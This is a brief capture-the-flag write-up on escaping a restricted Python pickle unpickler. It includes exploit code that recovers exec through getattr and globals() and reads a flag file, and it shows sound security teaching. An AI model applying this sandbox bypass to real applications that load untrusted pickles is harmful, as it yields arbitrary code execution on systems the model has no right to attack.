Python pickle deserialization vulnerability


The flag is located in ./flag.txt.


Pickle is used to save and load notes into the application.
Normally, we would be able to use the __reduce__() method to make the program call functions like os.system() (see
See The modules we can unpickle are restricted to __main__, __builtin__ and copyreg. eval and exec are also banned.
They created an API to generate Pickle opcodes: (I made some slight modifications)
Exploit code:
getattr = GLOBAL ( '__builtin__' , 'getattr' )
dict = GLOBAL ( '__builtin__' , 'dict' )
dict_get = getattr ( dict , 'get' )
glo_dic = GLOBAL ( '__builtin__' , 'globals' )()
builtins = dict_get ( glo_dic , '__builtins__' )
exec = getattr ( builtins , 'exec' )
exec ("print(open('flag.txt', 'r').read())")
The idea is that using getattr, we can get submodules of __builtin__ (and the submodules of the submodules). __builtin__.globals() includes builtins, which includes exec. Once we have control over exec, we can execute arbitrary code.
Submit the base64-encoded opcodes, and we obtain the flags.